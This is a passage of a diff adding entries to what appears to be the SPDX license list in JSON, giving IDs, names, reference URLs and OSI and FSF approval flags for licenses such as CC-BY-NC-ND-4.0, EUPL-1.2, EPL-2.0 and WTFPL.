+ "seeAlso": [
+ "https://enterprise.dejacode.com/licenses/public/naist-2003/#license-text",
+ "https://github.com/nodejs/node/blob/4a19cc8947b1bba2b2d27816ec3d0edf9b28e503/LICENSE#L343"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-4.0.json",
+ "referenceNumber": 396,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 4.0 International",
+ "licenseId": "CC-BY-NC-ND-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-3.0-DE.json",
+ "referenceNumber": 397,
+ "name": "Creative Commons Attribution Non Commercial 3.0 Germany",
+ "licenseId": "CC-BY-NC-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.1+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.1+.json",
+ "referenceNumber": 398,
+ "name": "GNU Library General Public License v2.1 or later",
+ "licenseId": "LGPL-2.1+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html",
+ "https://opensource.org/licenses/LGPL-2.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OPL-1.0.json",
+ "referenceNumber": 399,
+ "name": "Open Public License v1.0",
+ "licenseId": "OPL-1.0",
+ "seeAlso": [
+ "http://old.koalateam.com/jackaroo/OPL_1_0.TXT",
+ "https://fedoraproject.org/wiki/Licensing/Open_Public_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/HPND-sell-variant.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/HPND-sell-variant.json",
+ "referenceNumber": 400,
+ "name": "Historical Permission Notice and Disclaimer - sell variant",
+ "licenseId": "HPND-sell-variant",
+ "seeAlso": [
+ "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/sunrpc/auth_gss/gss_generic_token.c?h\u003dv4.19"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/QPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/QPL-1.0.json",
+ "referenceNumber": 401,
+ "name": "Q Public License 1.0",
+ "licenseId": "QPL-1.0",
+ "seeAlso": [
+ "http://doc.qt.nokia.com/3.3/license.html",
+ "https://opensource.org/licenses/QPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/EUPL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EUPL-1.2.json",
+ "referenceNumber": 402,
+ "name": "European Union Public License 1.2",
+ "licenseId": "EUPL-1.2",
+ "seeAlso": [
+ "https://joinup.ec.europa.eu/page/eupl-text-11-12",
+ "https://joinup.ec.europa.eu/sites/default/files/custom-page/attachment/eupl_v1.2_en.pdf",
+ "https://joinup.ec.europa.eu/sites/default/files/custom-page/attachment/2020-03/EUPL-1.2%20EN.txt",
+ "https://joinup.ec.europa.eu/sites/default/files/inline-files/EUPL%20v1_2%20EN(1).txt",
+ "http://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri\u003dCELEX:32017D0863",
+ "https://opensource.org/licenses/EUPL-1.2"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-no-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-no-invariants-or-later.json",
+ "referenceNumber": 403,
+ "name": "GNU Free Documentation License v1.2 or later - no invariants",
+ "licenseId": "GFDL-1.2-no-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/eCos-2.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/eCos-2.0.json",
+ "referenceNumber": 404,
+ "name": "eCos license version 2.0",
+ "licenseId": "eCos-2.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/ecos-license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NCGL-UK-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NCGL-UK-2.0.json",
+ "referenceNumber": 405,
+ "name": "Non-Commercial Government Licence",
+ "licenseId": "NCGL-UK-2.0",
+ "seeAlso": [
+ "http://www.nationalarchives.gov.uk/doc/non-commercial-government-licence/version/2/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Beerware.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Beerware.json",
+ "referenceNumber": 406,
+ "name": "Beerware License",
+ "licenseId": "Beerware",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Beerware",
+ "https://people.freebsd.org/~phk/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-Open-MPI.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-Open-MPI.json",
+ "referenceNumber": 407,
+ "name": "BSD 3-Clause Open MPI variant",
+ "licenseId": "BSD-3-Clause-Open-MPI",
+ "seeAlso": [
+ "https://www.open-mpi.org/community/license.php",
+ "http://www.netlib.org/lapack/LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-bison-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-bison-exception.json",
+ "referenceNumber": 408,
+ "name": "GNU General Public License v2.0 w/Bison exception",
+ "licenseId": "GPL-2.0-with-bison-exception",
+ "seeAlso": [
+ "http://git.savannah.gnu.org/cgit/bison.git/tree/data/yacc.c?id\u003d193d7c7054ba7197b0789e14965b739162319b5e#n141"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-B.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-B.json",
+ "referenceNumber": 409,
+ "name": "CeCILL-B Free Software License Agreement",
+ "licenseId": "CECILL-B",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL-B_V1-en.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-autoconf-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-autoconf-exception.json",
+ "referenceNumber": 410,
+ "name": "GNU General Public License v2.0 w/Autoconf exception",
+ "licenseId": "GPL-2.0-with-autoconf-exception",
+ "seeAlso": [
+ "http://ac-archive.sourceforge.net/doc/copyright.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EPL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EPL-2.0.json",
+ "referenceNumber": 411,
+ "name": "Eclipse Public License 2.0",
+ "licenseId": "EPL-2.0",
+ "seeAlso": [
+ "https://www.eclipse.org/legal/epl-2.0",
+ "https://www.opensource.org/licenses/EPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-feh.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-feh.json",
+ "referenceNumber": 412,
+ "name": "feh License",
+ "licenseId": "MIT-feh",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MIT#feh"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/RPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RPL-1.1.json",
+ "referenceNumber": 413,
+ "name": "Reciprocal Public License 1.1",
+ "licenseId": "RPL-1.1",
+ "seeAlso": [
+ "https://opensource.org/licenses/RPL-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDLA-Permissive-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDLA-Permissive-1.0.json",
+ "referenceNumber": 414,
+ "name": "Community Data License Agreement Permissive 1.0",
+ "licenseId": "CDLA-Permissive-1.0",
+ "seeAlso": [
+ "https://cdla.io/permissive-1-0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Python-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Python-2.0.json",
+ "referenceNumber": 415,
+ "name": "Python License 2.0",
+ "licenseId": "Python-2.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Python-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MPL-1.0.json",
+ "referenceNumber": 416,
+ "name": "Mozilla Public License 1.0",
+ "licenseId": "MPL-1.0",
+ "seeAlso": [
+ "http://www.mozilla.org/MPL/MPL-1.0.html",
+ "https://opensource.org/licenses/MPL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-or-later.json",
+ "referenceNumber": 417,
+ "name": "GNU Free Documentation License v1.1 or later",
+ "licenseId": "GFDL-1.1-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/diffmark.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/diffmark.json",
+ "referenceNumber": 418,
+ "name": "diffmark license",
+ "licenseId": "diffmark",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/diffmark"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-1.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-1.0+.json",
+ "referenceNumber": 419,
+ "name": "GNU General Public License v1.0 or later",
+ "licenseId": "GPL-1.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/gpl-1.0-standalone.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OpenSSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OpenSSL.json",
+ "referenceNumber": 420,
+ "name": "OpenSSL License",
+ "licenseId": "OpenSSL",
+ "seeAlso": [
+ "http://www.openssl.org/source/license.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-1.0.json",
+ "referenceNumber": 421,
+ "name": "Open Software License 1.0",
+ "licenseId": "OSL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/OSL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Parity-6.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Parity-6.0.0.json",
+ "referenceNumber": 422,
+ "name": "The Parity Public License 6.0.0",
+ "licenseId": "Parity-6.0.0",
+ "seeAlso": [
+ "https://paritylicense.com/versions/6.0.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-1.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-1.0.json",
+ "referenceNumber": 423,
+ "name": "Affero General Public License v1.0",
+ "licenseId": "AGPL-1.0",
+ "seeAlso": [
+ "http://www.affero.org/oagpl.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/YPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/YPL-1.1.json",
+ "referenceNumber": 424,
+ "name": "Yahoo! Public License v1.1",
+ "licenseId": "YPL-1.1",
+ "seeAlso": [
+ "http://www.zimbra.com/license/yahoo_public_license_1.1.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SSH-short.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SSH-short.json",
+ "referenceNumber": 425,
+ "name": "SSH short notice",
+ "licenseId": "SSH-short",
+ "seeAlso": [
+ "https://github.com/openssh/openssh-portable/blob/1b11ea7c58cd5c59838b5fa574cd456d6047b2d4/pathnames.h",
+ "http://web.mit.edu/kolya/.f/root/athena.mit.edu/sipb.mit.edu/project/openssh/OldFiles/src/openssh-2.9.9p2/ssh-add.1",
+ "https://joinup.ec.europa.eu/svn/lesoll/trunk/italc/lib/src/dsa_key.cpp"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/IBM-pibs.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/IBM-pibs.json",
+ "referenceNumber": 426,
+ "name": "IBM PowerPC Initialization and Boot Software",
+ "licenseId": "IBM-pibs",
+ "seeAlso": [
+ "http://git.denx.de/?p\u003du-boot.git;a\u003dblob;f\u003darch/powerpc/cpu/ppc4xx/miiphy.c;h\u003d297155fdafa064b955e53e9832de93bfb0cfb85b;hb\u003d9fab4bf4cc077c21e43941866f3f2c196f28670d"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Xnet.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Xnet.json",
+ "referenceNumber": 427,
+ "name": "X.Net License",
+ "licenseId": "Xnet",
+ "seeAlso": [
+ "https://opensource.org/licenses/Xnet"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/TU-Berlin-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TU-Berlin-1.0.json",
+ "referenceNumber": 428,
+ "name": "Technische Universitaet Berlin License 1.0",
+ "licenseId": "TU-Berlin-1.0",
+ "seeAlso": [
+ "https://github.com/swh/ladspa/blob/7bf6f3799fdba70fda297c2d8fd9f526803d9680/gsm/COPYRIGHT"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-3.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-3.0.json",
+ "referenceNumber": 429,
+ "name": "GNU Affero General Public License v3.0",
+ "licenseId": "AGPL-3.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/agpl.txt",
+ "https://opensource.org/licenses/AGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CAL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CAL-1.0.json",
+ "referenceNumber": 430,
+ "name": "Cryptographic Autonomy License 1.0",
+ "licenseId": "CAL-1.0",
+ "seeAlso": [
+ "http://cryptographicautonomylicense.com/license-text.html",
+ "https://opensource.org/licenses/CAL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/AFL-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AFL-3.0.json",
+ "referenceNumber": 431,
+ "name": "Academic Free License v3.0",
+ "licenseId": "AFL-3.0",
+ "seeAlso": [
+ "http://www.rosenlaw.com/AFL3.0.htm",
+ "https://opensource.org/licenses/afl-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-C.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-C.json",
+ "referenceNumber": 432,
+ "name": "CeCILL-C Free Software License Agreement",
+ "licenseId": "CECILL-C",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL-C_V1-en.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGL-UK-3.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGL-UK-3.0.json",
+ "referenceNumber": 433,
+ "name": "Open Government Licence v3.0",
+ "licenseId": "OGL-UK-3.0",
+ "seeAlso": [
+ "http://www.nationalarchives.gov.uk/doc/open-government-licence/version/3/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-Clear.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-Clear.json",
+ "referenceNumber": 434,
+ "name": "BSD 3-Clause Clear License",
+ "licenseId": "BSD-3-Clause-Clear",
+ "seeAlso": [
+ "http://labs.metacarta.com/license-explanation.html#license"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-Modification.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-Modification.json",
+ "referenceNumber": 435,
+ "name": "BSD 3-Clause Modification",
+ "licenseId": "BSD-3-Clause-Modification",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing:BSD#Modification_Variant"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-2.0-UK.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-2.0-UK.json",
+ "referenceNumber": 436,
+ "name": "Creative Commons Attribution Share Alike 2.0 England and Wales",
+ "licenseId": "CC-BY-SA-2.0-UK",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/2.0/uk/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Saxpath.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Saxpath.json",
+ "referenceNumber": 437,
+ "name": "Saxpath License",
+ "licenseId": "Saxpath",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Saxpath_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NLPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NLPL.json",
+ "referenceNumber": 438,
+ "name": "No Limit Public License",
+ "licenseId": "NLPL",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/NLPL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SimPL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SimPL-2.0.json",
+ "referenceNumber": 439,
+ "name": "Simple Public License 2.0",
+ "licenseId": "SimPL-2.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/SimPL-2.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/psfrag.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/psfrag.json",
+ "referenceNumber": 440,
+ "name": "psfrag License",
+ "licenseId": "psfrag",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/psfrag"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Spencer-86.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Spencer-86.json",
+ "referenceNumber": 441,
+ "name": "Spencer License 86",
+ "licenseId": "Spencer-86",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Henry_Spencer_Reg-Ex_Library_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OCCT-PL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OCCT-PL.json",
+ "referenceNumber": 442,
+ "name": "Open CASCADE Technology Public License",
+ "licenseId": "OCCT-PL",
+ "seeAlso": [
+ "http://www.opencascade.com/content/occt-public-license"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-S-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-S-2.0.json",
+ "referenceNumber": 443,
+ "name": "CERN Open Hardware Licence Version 2 - Strongly Reciprocal",
+ "licenseId": "CERN-OHL-S-2.0",
+ "seeAlso": [
+ "https://www.ohwr.org/project/cernohl/wikis/Documents/CERN-OHL-version-2"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ErlPL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ErlPL-1.1.json",
+ "referenceNumber": 444,
+ "name": "Erlang Public License v1.1",
+ "licenseId": "ErlPL-1.1",
+ "seeAlso": [
+ "http://www.erlang.org/EPLICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-CMU.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-CMU.json",
+ "referenceNumber": 445,
+ "name": "CMU License",
+ "licenseId": "MIT-CMU",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing:MIT?rd\u003dLicensing/MIT#CMU_Style",
+ "https://github.com/python-pillow/Pillow/blob/fffb426092c8db24a5f4b6df243a8a3c01fb63cd/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NIST-PD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NIST-PD.json",
+ "referenceNumber": 446,
+ "name": "NIST Public Domain Notice",
+ "licenseId": "NIST-PD",
+ "seeAlso": [
+ "https://github.com/tcheneau/simpleRPL/blob/e645e69e38dd4e3ccfeceb2db8cba05b7c2e0cd3/LICENSE.txt",
+ "https://github.com/tcheneau/Routing/blob/f09f46fcfe636107f22f2c98348188a65a135d98/README.md"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-2.0.json",
+ "referenceNumber": 447,
+ "name": "Open Software License 2.0",
+ "licenseId": "OSL-2.0",
+ "seeAlso": [
+ "http://web.archive.org/web/20041020171434/http://www.rosenlaw.com/osl2.0.html"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/APSL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/APSL-2.0.json",
+ "referenceNumber": 448,
+ "name": "Apple Public Source License 2.0",
+ "licenseId": "APSL-2.0",
+ "seeAlso": [
+ "http://www.opensource.apple.com/license/apsl/"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Leptonica.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Leptonica.json",
+ "referenceNumber": 449,
+ "name": "Leptonica License",
+ "licenseId": "Leptonica",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Leptonica"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PolyForm-Small-Business-1.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PolyForm-Small-Business-1.0.0.json",
+ "referenceNumber": 450,
+ "name": "PolyForm Small Business License 1.0.0",
+ "licenseId": "PolyForm-Small-Business-1.0.0",
+ "seeAlso": [
+ "https://polyformproject.org/licenses/small-business/1.0.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LiLiQ-P-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LiLiQ-P-1.1.json",
+ "referenceNumber": 451,
+ "name": "Licence Libre du Québec – Permissive version 1.1",
+ "licenseId": "LiLiQ-P-1.1",
+ "seeAlso": [
+ "https://forge.gouv.qc.ca/licence/fr/liliq-v1-1/",
+ "http://opensource.org/licenses/LiLiQ-P-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NetCDF.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NetCDF.json",
+ "referenceNumber": 452,
+ "name": "NetCDF license",
+ "licenseId": "NetCDF",
+ "seeAlso": [
+ "http://www.unidata.ucar.edu/software/netcdf/copyright.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OML.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OML.json",
+ "referenceNumber": 453,
+ "name": "Open Market License",
+ "licenseId": "OML",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Open_Market_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AGPL-3.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AGPL-3.0-or-later.json",
+ "referenceNumber": 454,
+ "name": "GNU Affero General Public License v3.0 or later",
+ "licenseId": "AGPL-3.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/agpl.txt",
+ "https://opensource.org/licenses/AGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.2.json",
+ "referenceNumber": 455,
+ "name": "Open LDAP Public License v2.2",
+ "licenseId": "OLDAP-2.2",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d470b0c18ec67621c85881b2733057fecf4a1acc3"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause.json",
+ "referenceNumber": 456,
+ "name": "BSD 3-Clause \"New\" or \"Revised\" License",
+ "licenseId": "BSD-3-Clause",
+ "seeAlso": [
+ "https://opensource.org/licenses/BSD-3-Clause"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/WTFPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/WTFPL.json",
+ "referenceNumber": 457,
+ "name": "Do What The F*ck You Want To Public License",
+ "licenseId": "WTFPL",
+ "seeAlso": [
+ "http://www.wtfpl.net/about/",
+ "http://sam.zoy.org/wtfpl/COPYING"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OGL-UK-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OGL-UK-2.0.json",
+ "referenceNumber": 458,
+ "name": "Open Government Licence v2.0",
+ "licenseId": "OGL-UK-2.0",
+ "seeAlso": [
+ "http://www.nationalarchives.gov.uk/doc/open-government-licence/version/2/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-Attribution.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-Attribution.json",
+ "referenceNumber": 459,
+ "name": "BSD with attribution",
+ "licenseId": "BSD-3-Clause-Attribution",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/BSD_with_Attribution"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/RPSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RPSL-1.0.json",
+ "referenceNumber": 460,
+ "name": "RealNetworks Public Source License v1.0",
+ "licenseId": "RPSL-1.0",
+ "seeAlso": [
